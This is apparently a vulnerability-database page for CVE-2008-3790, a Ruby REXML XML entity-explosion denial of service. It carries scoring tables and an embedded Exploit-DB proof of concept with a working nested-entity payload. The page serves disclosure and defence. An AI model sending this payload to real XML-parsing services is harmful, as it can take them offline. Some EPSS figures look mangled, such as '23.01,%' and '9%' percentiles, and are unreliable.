CVE-2008-3790

OWSAP

A03-Injection

EPSS

23.01%V4

Vector

Network

Published

2008-08-27
18h00 +00:00

Modified

2018-10-03
18h57 +00:00

Official links

CVE.org

NVD

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Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

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CVE Descriptions

The REXML module in Ruby 1.8.6 through 1.8.6-p287, 1.8.7 through 1.8.7-p72, and 1.9 allows context-dependent attackers to cause a denial of service (CPU consumption) via an XML document with recursively nested entities, aka an "XML entity explosion."

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	15.27%	–	–
2022-03-13	–	–	15.27%	–	–
2022-04-03	–	–	15.27%	–	–
2023-03-12	–	–	–	2.48%	–
2023-05-21	–	–	–	2.48%	–
2023-05-28	–	–	–	2.48%	–
2023-06-04	–	–	–	2.48%	–
2024-02-04	–	–	–	2.4%	–
2024-02-11	–	–	–	2.4%	–
2024-03-10	–	–	–	2.68%	–
2024-06-02	–	–	–	2.68%	–
2024-06-23	–	–	–	2.68%	–
2024-06-30	–	–	–	2.68%	–
2024-08-04	–	–	–	2.68%	–
2024-08-11	–	–	–	2.68%	–
2024-12-22	–	–	–	4.26%	–
2025-02-02	–	–	–	5.04%	–
2025-03-09	–	–	–	4.36%	–
2025-01-19	–	–	–	4.26%	–
2025-02-02	–	–	–	5.04%	–
2025-03-09	–	–	–	4.36%	–
2025-03-18	–	–	–	–	25.64%
2025-03-30	–	–	–	–	23.01%
2025-04-15	–	–	–	–	23.01%
2025-04-15	–	–	–	–	23.01,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	91%
2022-03-13	92%
2022-04-03	96%
2023-03-12	88%
2023-05-21	89%
2023-05-28	88%
2023-06-04	89%
2024-02-04	89%
2024-02-11	9%
2024-03-10	9%
2024-06-02	9%
2024-06-23	9%
2024-06-30	91%
2024-08-04	9%
2024-08-11	91%
2024-12-22	92%
2025-02-02	93%
2025-03-09	92%
2025-01-19	92%
2025-02-02	93%
2025-03-09	92%
2025-03-18	96%
2025-03-30	95%
2025-04-15	96%
2025-04-15	96%

Exploit information

Exploit Database EDB-ID : 32292

Publication date : 2008-08-22 22h00 +00:00
Author : Luka Treiber
EDB Verified : Yes

source: https://www.securityfocus.com/bid/30802/info Ruby is prone to a remote denial-of-service vulnerability in its REXML module. Successful exploits may allow remote attackers to cause denial-of-service conditions in applications that use the vulnerable module. Versions up to and including Ruby 1.9.0-3 are vulnerable. #!/usr/bin/env ruby require 'rexml/document' doc = REXML::Document.new(<<END) <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE member [ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;"> <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;"> <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;"> <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"> ]> <member> &a; </member> END puts doc.root.text.size

Products Mentioned

Configuraton 0

Ruby-lang>>Ruby >> Version 1.8.6

Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)
Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)
Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)
Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)

Ruby-lang>>Ruby >> Version 1.8.6

Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)

Ruby-lang>>Ruby >> Version 1.8.6

Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)

Ruby-lang>>Ruby >> Version 1.8.6

Ruby-lang>>Ruby >> Version 1.8.6 (Open CPE detail)